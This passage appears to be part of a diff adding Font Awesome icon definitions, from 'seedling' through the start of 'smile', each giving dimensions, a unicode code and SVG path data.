5.4-12 12-12h32c6.6 0 12 5.4 12 12v56h56c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z" ], + seedling: [ 512, 512, [], "f4d8", "M64 96H0c0 123.7 100.3 224 224 224v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C288 196.3 187.7 96 64 96zm384-64c-84.2 0-157.4 46.5-195.7 115.2 27.7 30.2 48.2 66.9 59 107.6C424 243.1 512 147.9 512 32h-64z" ], + server: [ 512, 512, [], "f233", "M480 160H32c-17.673 0-32-14.327-32-32V64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24z" ], + shapes: [ 512, 512, [], "f61f", "M128,256A128,128,0,1,0,256,384,128,128,0,0,0,128,256Zm379-54.86L400.07,18.29a37.26,37.26,0,0,0-64.14,0L229,201.14C214.76,225.52,232.58,256,261.09,256H474.91C503.42,256,521.24,225.52,507,201.14ZM480,288H320a32,32,0,0,0-32,32V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V320A32,32,0,0,0,480,288Z" ], + share: [ 512, 512, [], "f064", "M503.691 189.836L327.687 37.851C312.281 24.546 288 35.347 288 56.015v80.053C127.371 137.907 0 170.1 0 322.326c0 61.441 39.581 122.309 83.333 154.132 13.653 9.931 33.111-2.533 28.077-18.631C66.066 312.814 132.917 274.316 288 272.085V360c0 20.7 24.3 31.453 39.687 18.164l176.004-152c11.071-9.562 11.086-26.753 0-36.328z" ], + "share-alt": [ 448, 512, [], "f1e0", "M352 320c-22.608 0-43.387 7.819-59.79 20.895l-102.486-64.054a96.551 96.551 0 0 0 0-41.683l102.486-64.054C308.613 184.181 329.392 192 352 192c53.019 0 96-42.981 96-96S405.019 0 352 0s-96 42.981-96 96c0 7.158.79 14.13 2.276 20.841L155.79 180.895C139.387 167.819 118.608 160 96 160c-53.019 0-96 42.981-96 96s42.981 96 96 96c22.608 0 43.387-7.819 59.79-20.895l102.486 64.054A96.301 96.301 0 0 0 256 416c0 53.019 42.981 96 96 96s96-42.981 96-96-42.981-96-96-96z" ], + "share-alt-square": [ 448, 512, [], "f1e1", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zM304 296c-14.562 0-27.823 5.561-37.783 14.671l-67.958-40.775a56.339 56.339 0 0 0 0-27.793l67.958-40.775C276.177 210.439 289.438 216 304 216c30.928 0 56-25.072 56-56s-25.072-56-56-56-56 25.072-56 56c0 4.797.605 9.453 1.74 13.897l-67.958 40.775C171.823 205.561 158.562 200 144 200c-30.928 0-56 25.072-56 56s25.072 56 56 56c14.562 0 27.823-5.561 37.783-14.671l67.958 40.775a56.088 56.088 0 0 0-1.74 13.897c0 30.928 25.072 56 56 56s56-25.072 56-56C360 321.072 334.928 296 304 296z" ], + "share-square": [ 576, 512, [], "f14d", "M568.482 177.448L424.479 313.433C409.3 327.768 384 317.14 384 295.985v-71.963c-144.575.97-205.566 35.113-164.775 171.353 4.483 14.973-12.846 26.567-25.006 17.33C155.252 383.105 120 326.488 120 269.339c0-143.937 117.599-172.5 264-173.312V24.012c0-21.174 25.317-31.768 40.479-17.448l144.003 135.988c10.02 9.463 10.028 25.425 0 34.896zM384 379.128V448H64V128h50.916a11.99 11.99 0 0 0 8.648-3.693c14.953-15.568 32.237-27.89 51.014-37.676C185.708 80.83 181.584 64 169.033 64H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48v-88.806c0-8.288-8.197-14.066-16.011-11.302a71.83 71.83 0 0 1-34.189 3.377c-7.27-1.046-13.8 4.514-13.8 11.859z" ], + "shekel-sign": [ 448, 512, [], "f20b", "M248 168v168c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V168c0-75.11-60.89-136-136-136H24C10.75 32 0 42.74 0 56v408c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112h112c30.93 0 56 25.07 56 56zM432 32h-48c-8.84 0-16 7.16-16 16v296c0 30.93-25.07 56-56 56H200V176c0-8.84-7.16-16-16-16h-48c-8.84 0-16 7.16-16 16v280c0 13.25 10.75 24 24 24h168c75.11 0 136-60.89 136-136V48c0-8.84-7.16-16-16-16z" ], + "shield-alt": [ 512, 512, [], "f3ed", "M466.5 83.7l-192-80a48.15 48.15 0 0 0-36.9 0l-192 80C27.7 91.1 16 108.6 16 128c0 198.5 114.5 335.7 221.5 380.3 11.8 4.9 25.1 4.9 36.9 0C360.1 472.6 496 349.3 496 128c0-19.4-11.7-36.9-29.5-44.3zM256.1 446.3l-.1-381 175.9 73.3c-3.3 151.4-82.1 261.1-175.8 307.7z" ], + "shield-virus": [ 512, 512, [], "e06c", "M224,192a16,16,0,1,0,16,16A16,16,0,0,0,224,192ZM466.5,83.68l-192-80A57.4,57.4,0,0,0,256.05,0a57.4,57.4,0,0,0-18.46,3.67l-192,80A47.93,47.93,0,0,0,16,128C16,326.5,130.5,463.72,237.5,508.32a48.09,48.09,0,0,0,36.91,0C360.09,472.61,496,349.3,496,128A48,48,0,0,0,466.5,83.68ZM384,256H371.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C306.47,313.09,272,327.37,272,355.88V368a16,16,0,0,1-32,0V355.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H128a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V112a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C329.09,189.53,343.37,224,371.88,224H384a16,16,0,0,1,0,32Zm-96,0a16,16,0,1,0,16,16A16,16,0,0,0,288,256Z" ], + ship: [ 640, 512, [], "f21a", "M496.616 372.639l70.012-70.012c16.899-16.9 9.942-45.771-12.836-53.092L512 236.102V96c0-17.673-14.327-32-32-32h-64V24c0-13.255-10.745-24-24-24H248c-13.255 0-24 10.745-24 24v40h-64c-17.673 0-32 14.327-32 32v140.102l-41.792 13.433c-22.753 7.313-29.754 36.173-12.836 53.092l70.012 70.012C125.828 416.287 85.587 448 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24 61.023 0 107.499-20.61 143.258-59.396C181.677 487.432 216.021 512 256 512h128c39.979 0 74.323-24.568 88.742-59.396C508.495 491.384 554.968 512 616 512c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24-60.817 0-101.542-31.001-119.384-75.361zM192 128h256v87.531l-118.208-37.995a31.995 31.995 0 0 0-19.584 0L192 215.531V128z" ], + "shipping-fast": [ 640, 512, [], "f48b", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H112C85.5 0 64 21.5 64 48v48H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h272c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H40c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H64v128c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z" ], + "shoe-prints": [ 640, 512, [], "f54b", "M192 160h32V32h-32c-35.35 0-64 28.65-64 64s28.65 64 64 64zM0 416c0 35.35 28.65 64 64 64h32V352H64c-35.35 0-64 28.65-64 64zm337.46-128c-34.91 0-76.16 13.12-104.73 32-24.79 16.38-44.52 32-104.73 32v128l57.53 15.97c26.21 7.28 53.01 13.12 80.31 15.05 32.69 2.31 65.6.67 97.58-6.2C472.9 481.3 512 429.22 512 384c0-64-84.18-96-174.54-96zM491.42 7.19C459.44.32 426.53-1.33 393.84.99c-27.3 1.93-54.1 7.77-80.31 15.04L256 32v128c60.2 0 79.94 15.62 104.73 32 28.57 18.88 69.82 32 104.73 32C555.82 224 640 192 640 128c0-45.22-39.1-97.3-148.58-120.81z" ], + "shopping-bag": [ 448, 512, [], "f290", "M352 160v-32C352 57.42 294.579 0 224 0 153.42 0 96 57.42 96 128v32H0v272c0 44.183 35.817 80 80 80h288c44.183 0 80-35.817 80-80V160h-96zm-192-32c0-35.29 28.71-64 64-64s64 28.71 64 64v32H160v-32zm160 120c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm-192 0c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24z" ], + "shopping-basket": [ 576, 512, [], "f291", "M576 216v16c0 13.255-10.745 24-24 24h-8l-26.113 182.788C514.509 462.435 494.257 480 470.37 480H105.63c-23.887 0-44.139-17.565-47.518-41.212L32 256h-8c-13.255 0-24-10.745-24-24v-16c0-13.255 10.745-24 24-24h67.341l106.78-146.821c10.395-14.292 30.407-17.453 44.701-7.058 14.293 10.395 17.453 30.408 7.058 44.701L170.477 192h235.046L326.12 82.821c-10.395-14.292-7.234-34.306 7.059-44.701 14.291-10.395 34.306-7.235 44.701 7.058L484.659 192H552c13.255 0 24 10.745 24 24zM312 392V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm112 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm-224 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24z" ], + "shopping-cart": [ 576, 512, [], "f07a", "M528.12 301.319l47.273-208C578.806 78.301 567.391 64 551.99 64H159.208l-9.166-44.81C147.758 8.021 137.93 0 126.529 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24h69.883l70.248 343.435C147.325 417.1 136 435.222 136 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-15.674-6.447-29.835-16.824-40h209.647C430.447 426.165 424 440.326 424 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-22.172-12.888-41.332-31.579-50.405l5.517-24.276c3.413-15.018-8.002-29.319-23.403-29.319H218.117l-6.545-32h293.145c11.206 0 20.92-7.754 23.403-18.681z" ], + shower: [ 512, 512, [], "f2cc", "M304,320a16,16,0,1,0,16,16A16,16,0,0,0,304,320Zm32-96a16,16,0,1,0,16,16A16,16,0,0,0,336,224Zm32,64a16,16,0,1,0-16-16A16,16,0,0,0,368,288Zm-32,32a16,16,0,1,0-16-16A16,16,0,0,0,336,320Zm-32-64a16,16,0,1,0,16,16A16,16,0,0,0,304,256Zm128-32a16,16,0,1,0-16-16A16,16,0,0,0,432,224Zm-48,16a16,16,0,1,0,16-16A16,16,0,0,0,384,240Zm-16-48a16,16,0,1,0,16,16A16,16,0,0,0,368,192Zm96,32a16,16,0,1,0,16,16A16,16,0,0,0,464,224Zm32-32a16,16,0,1,0,16,16A16,16,0,0,0,496,192Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,432,256Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,400,288Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,336,352Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,304,384Zm64-64a16,16,0,1,0,16,16A16,16,0,0,0,368,320Zm21.65-218.35-11.3-11.31a16,16,0,0,0-22.63,0L350.05,96A111.19,111.19,0,0,0,272,64c-19.24,0-37.08,5.3-52.9,13.85l-10-10A121.72,121.72,0,0,0,123.44,32C55.49,31.5,0,92.91,0,160.85V464a16,16,0,0,0,16,16H48a16,16,0,0,0,16-16V158.4c0-30.15,21-58.2,51-61.93a58.38,58.38,0,0,1,48.93,16.67l10,10C165.3,138.92,160,156.76,160,176a111.23,111.23,0,0,0,32,78.05l-5.66,5.67a16,16,0,0,0,0,22.62l11.3,11.31a16,16,0,0,0,22.63,0L389.65,124.28A16,16,0,0,0,389.65,101.65Z" ], + "shuttle-van": [ 640, 512, [], "f5b6", "M628.88 210.65L494.39 49.27A48.01 48.01 0 0 0 457.52 32H32C14.33 32 0 46.33 0 64v288c0 17.67 14.33 32 32 32h32c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h32c17.67 0 32-14.33 32-32V241.38c0-11.23-3.94-22.1-11.12-30.73zM64 192V96h96v96H64zm96 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm160-240h-96V96h96v96zm160 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-96-240V96h66.02l80 96H384z" ], + sign: [ 512, 512, [], "f4d9", "M496 64H128V16c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16v48H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V128h368c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM160 384h320V160H160v224z" ], + "sign-in-alt": [ 512, 512, [], "f2f6", "M416 448h-84c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h84c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32h-84c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h84c53 0 96 43 96 96v192c0 53-43 96-96 96zm-47-201L201 79c-15-15-41-4.5-41 17v96H24c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24h136v96c0 21.5 26 32 41 17l168-168c9.3-9.4 9.3-24.6 0-34z" ], + "sign-language": [ 448, 512, [], "f2a7", "M91.434 483.987c-.307-16.018 13.109-29.129 29.13-29.129h62.293v-5.714H56.993c-16.021 0-29.437-13.111-29.13-29.129C28.16 404.491 40.835 392 56.428 392h126.429v-5.714H29.136c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h154.286v-5.714H57.707c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h168.566l-31.085-22.606c-12.762-9.281-15.583-27.149-6.302-39.912 9.281-12.761 27.15-15.582 39.912-6.302l123.361 89.715a34.287 34.287 0 0 1 14.12 27.728v141.136c0 15.91-10.946 29.73-26.433 33.374l-80.471 18.934a137.16 137.16 0 0 1-31.411 3.646H120c-15.593-.001-28.269-12.492-28.566-28.014zm73.249-225.701h36.423l-11.187-8.136c-18.579-13.511-20.313-40.887-3.17-56.536l-13.004-16.7c-9.843-12.641-28.43-15.171-40.88-5.088-12.065 9.771-14.133 27.447-4.553 39.75l36.371 46.71zm283.298-2.103l-5.003-152.452c-.518-15.771-13.722-28.136-29.493-27.619-15.773.518-28.137 13.722-27.619 29.493l1.262 38.415L283.565 11.019c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l76.889 98.745-4.509 3.511-94.79-121.734c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l94.443 121.288-4.509 3.511-77.675-99.754c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l52.053 66.849c12.497-8.257 29.055-8.285 41.69.904l123.36 89.714c10.904 7.93 17.415 20.715 17.415 34.198v16.999l61.064-47.549a34.285 34.285 0 0 0 13.202-28.177z" ], + "sign-out-alt": [ 512, 512, [], "f2f5", "M497 273L329 441c-15 15-41 4.5-41-17v-96H152c-13.3 0-24-10.7-24-24v-96c0-13.3 10.7-24 24-24h136V88c0-21.4 25.9-32 41-17l168 168c9.3 9.4 9.3 24.6 0 34zM192 436v-40c0-6.6-5.4-12-12-12H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h84c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12H96c-53 0-96 43-96 96v192c0 53 43 96 96 96h84c6.6 0 12-5.4 12-12z" ], + signal: [ 640, 512, [], "f012", "M216 288h-48c-8.84 0-16 7.16-16 16v192c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V304c0-8.84-7.16-16-16-16zM88 384H40c-8.84 0-16 7.16-16 16v96c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16v-96c0-8.84-7.16-16-16-16zm256-192h-48c-8.84 0-16 7.16-16 16v288c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V208c0-8.84-7.16-16-16-16zm128-96h-48c-8.84 0-16 7.16-16 16v384c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112c0-8.84-7.16-16-16-16zM600 0h-48c-8.84 0-16 7.16-16 16v480c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z" ], + signature: [ 640, 512, [], "f5b7", "M623.2 192c-51.8 3.5-125.7 54.7-163.1 71.5-29.1 13.1-54.2 24.4-76.1 24.4-22.6 0-26-16.2-21.3-51.9 1.1-8 11.7-79.2-42.7-76.1-25.1 1.5-64.3 24.8-169.5 126L192 182.2c30.4-75.9-53.2-151.5-129.7-102.8L7.4 116.3C0 121-2.2 130.9 2.5 138.4l17.2 27c4.7 7.5 14.6 9.7 22.1 4.9l58-38.9c18.4-11.7 40.7 7.2 32.7 27.1L34.3 404.1C27.5 421 37 448 64 448c8.3 0 16.5-3.2 22.6-9.4 42.2-42.2 154.7-150.7 211.2-195.8-2.2 28.5-2.1 58.9 20.6 83.8 15.3 16.8 37.3 25.3 65.5 25.3 35.6 0 68-14.6 102.3-30 33-14.8 99-62.6 138.4-65.8 8.5-.7 15.2-7.3 15.2-15.8v-32.1c.2-9.1-7.5-16.8-16.6-16.2z" ], + "sim-card": [ 384, 512, [], "f7c4", "M0 64v384c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V128L256 0H64C28.7 0 0 28.7 0 64zm224 192h-64v-64h64v64zm96 0h-64v-64h32c17.7 0 32 14.3 32 32v32zm-64 128h64v32c0 17.7-14.3 32-32 32h-32v-64zm-96 0h64v64h-64v-64zm-96 0h64v64H96c-17.7 0-32-14.3-32-32v-32zm0-96h256v64H64v-64zm0-64c0-17.7 14.3-32 32-32h32v64H64v-32z" ], + sink: [ 512, 512, [], "e06d", "M32,416a96,96,0,0,0,96,96H384a96,96,0,0,0,96-96V384H32ZM496,288H400V256h64a16,16,0,0,0,16-16V224a16,16,0,0,0-16-16H384a32,32,0,0,0-32,32v48H288V96a32,32,0,0,1,64,0v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V96A96.16,96.16,0,0,0,300.87,1.86C255.29,10.71,224,53.36,224,99.79V288H160V240a32,32,0,0,0-32-32H48a16,16,0,0,0-16,16v16a16,16,0,0,0,16,16h64v32H16A16,16,0,0,0,0,304v32a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V304A16,16,0,0,0,496,288Z" ], + sitemap: [ 640, 512, [], "f0e8", "M128 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm-24-80h192v48h48v-48h192v48h48v-57.59c0-21.17-17.23-38.41-38.41-38.41H344v-64h40c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H256c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h40v64H94.41C73.23 224 56 241.23 56 262.41V320h48v-48zm264 80h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm240 0h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z" ], + skating: [ 448, 512, [], "f7c5", "M400 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm0 448c-8.8 0-16 7.2-16 16s-7.2 16-16 16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c26.5 0 48-21.5 48-48 0-8.8-7.2-16-16-16zm-282.2 8.6c-6.2 6.2-16.4 6.3-22.6 0l-67.9-67.9c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l67.9 67.9c9.4 9.4 21.7 14 34 14s24.6-4.7 33.9-14c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.3-22.7 0zm56.1-179.8l-93.7 93.7c-12.5 12.5-12.5 32.8 0 45.2 6.2 6.2 14.4 9.4 22.6 9.4s16.4-3.1 22.6-9.4l91.9-91.9-30.2-30.2c-5-5-9.4-10.7-13.2-16.8zM128 160h105.5l-20.1 17.2c-13.5 11.5-21.6 28.4-22.3 46.1-.7 17.8 6.1 35.2 18.7 47.7l78.2 78.2V432c0 17.7 14.3 32 32 32s32-14.3 32-32v-89.4c0-12.6-5.1-25-14.1-33.9l-61-61c.5-.4 1.2-.6 1.7-1.1l82.3-82.3c11.5-11.5 14.9-28.6 8.7-43.6-6.2-15-20.7-24.7-37-24.7H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z" ], + skiing: [ 512, 512, [], "f7c9", "M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm73 356.1c-9.4-9.4-24.6-9.4-33.9 0-12.1 12.1-30.5 15.4-45.1 8.7l-135.8-70.2 49.2-73.8c12.7-19 10.2-44.5-6-60.6L293 215.7l-107-53.1c-2.9 19.9 3.4 40 17.7 54.4l75.1 75.2-45.9 68.8L35 258.7c-11.7-6-26.2-1.5-32.3 10.3-6.1 11.8-1.5 26.3 10.3 32.3l391.9 202.5c11.9 5.5 24.5 8.1 37.1 8.1 23.2 0 46-9 63-26 9.3-9.3 9.3-24.5 0-33.8zM120 91.6l-11.5 22.5c14.4 7.3 31.2 4.9 42.8-4.8l47.2 23.4c-.1.1-.1.2-.2.3l114.5 56.8 32.4-13 6.4 19.1c4 12.1 12.6 22 24 27.7l58.1 29c15.9 7.9 35 1.5 42.9-14.3 7.9-15.8 1.5-35-14.3-42.9l-52.1-26.1-17.1-51.2c-8.1-24.2-40.9-56.6-84.5-39.2l-81.2 32.5-62.5-31c.3-14.5-7.2-28.6-20.9-35.6l-11.1 21.7h-.2l-34.4-7c-1.8-.4-3.7.2-5 1.7-1.9 2.2-1.7 5.5.5 7.4l26.2 23z" ], + "skiing-nordic": [ 576, 512, [], "f7ca", "M336 96c26.5 0 48-21.5 48-48S362.5 0 336 0s-48 21.5-48 48 21.5 48 48 48zm216 320c-13.2 0-24 10.7-24 24 0 13.2-10.8 24-24 24h-69.5L460 285.6c11.7-4.7 20.1-16.2 20.1-29.6 0-17.7-14.3-32-32-32h-44L378 170.8c-12.5-25.5-35.5-44.2-61.8-50.9L245 98.7c-28.3-6.8-57.8-.5-80.8 17.1l-39.7 30.4c-14 10.7-16.7 30.8-5.9 44.9.7.9 1.7 1.3 2.4 2.1L66.9 464H24c-13.2 0-24 10.7-24 24s10.8 24 24 24h480c39.7 0 72-32.3 72-72 0-13.2-10.8-24-24-24zm-260.5 48h-96.9l43.1-91-22-13c-12.1-7.2-21.9-16.9-29.5-27.8L123.7 464H99.5l52.3-261.4c4.1-1 8.1-2.9 11.7-5.6l39.7-30.4c7.7-5.9 17.4-8 25.3-6.1l14.7 4.4-37.5 87.4c-12.6 29.5-1.3 64 26.3 80.3l85 50.2-25.5 81.2zm110.6 0h-43.6l23.6-75.5c5.9-20.8-2.9-43.1-21.6-54.4L299.3 298l31.3-78.3 20.3 41.4c8 16.3 24.9 26.9 43.1 26.9h33.3l-25.2 176z" ], + skull: [ 512, 512, [], "f54c", "M256 0C114.6 0 0 100.3 0 224c0 70.1 36.9 132.6 94.5 173.7 9.6 6.9 15.2 18.1 13.5 29.9l-9.4 66.2c-1.4 9.6 6 18.2 15.7 18.2H192v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h64v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h77.7c9.7 0 17.1-8.6 15.7-18.2l-9.4-66.2c-1.7-11.7 3.8-23 13.5-29.9C475.1 356.6 512 294.1 512 224 512 100.3 397.4 0 256 0zm-96 320c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm192 0c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z" ], + "skull-crossbones": [ 448, 512, [], "f714", "M439.15 453.06L297.17 384l141.99-69.06c7.9-3.95 11.11-13.56 7.15-21.46L432 264.85c-3.95-7.9-13.56-11.11-21.47-7.16L224 348.41 37.47 257.69c-7.9-3.95-17.51-.75-21.47 7.16L1.69 293.48c-3.95 7.9-.75 17.51 7.15 21.46L150.83 384 8.85 453.06c-7.9 3.95-11.11 13.56-7.15 21.47l14.31 28.63c3.95 7.9 13.56 11.11 21.47 7.15L224 419.59l186.53 90.72c7.9 3.95 17.51.75 21.47-7.15l14.31-28.63c3.95-7.91.74-17.52-7.16-21.47zM150 237.28l-5.48 25.87c-2.67 12.62 5.42 24.85 16.45 24.85h126.08c11.03 0 19.12-12.23 16.45-24.85l-5.5-25.87c41.78-22.41 70-62.75 70-109.28C368 57.31 303.53 0 224 0S80 57.31 80 128c0 46.53 28.22 86.87 70 109.28zM280 112c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32zm-112 0c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32z" ], + slash: [ 640, 512, [], "f715", "M594.53 508.63L6.18 53.9c-6.97-5.42-8.23-15.47-2.81-22.45L23.01 6.18C28.43-.8 38.49-2.06 45.47 3.37L633.82 458.1c6.97 5.42 8.23 15.47 2.81 22.45l-19.64 25.27c-5.42 6.98-15.48 8.23-22.46 2.81z" ], + sleigh: [ 640, 512, [], "f7cc", "M612.7 350.7l-9.3-7.4c-6.9-5.5-17-4.4-22.5 2.5l-10 12.5c-5.5 6.9-4.4 17 2.5 22.5l9.3 7.4c5.9 4.7 9.2 11.7 9.2 19.2 0 13.6-11 24.6-24.6 24.6H48c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h516c39 0 73.7-29.3 75.9-68.3 1.4-23.8-8.7-46.3-27.2-61zM32 224c0 59.6 40.9 109.2 96 123.5V400h64v-48h192v48h64v-48c53 0 96-43 96-96v-96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-96v64c0 35.3-28.7 64-64 64h-20.7c-65.8 0-125.9-37.2-155.3-96-29.4-58.8-89.6-96-155.3-96H32C14.3 32 0 46.3 0 64s14.3 32 32 32v128z" ], + "sliders-h": [ 512, 512, [], "f1de", "M496 384H160v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h80v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h336c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160h-80v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h336v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h80c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160H288V48c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h208v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16z" ], + smile: [ 496, 512, [], "f118", 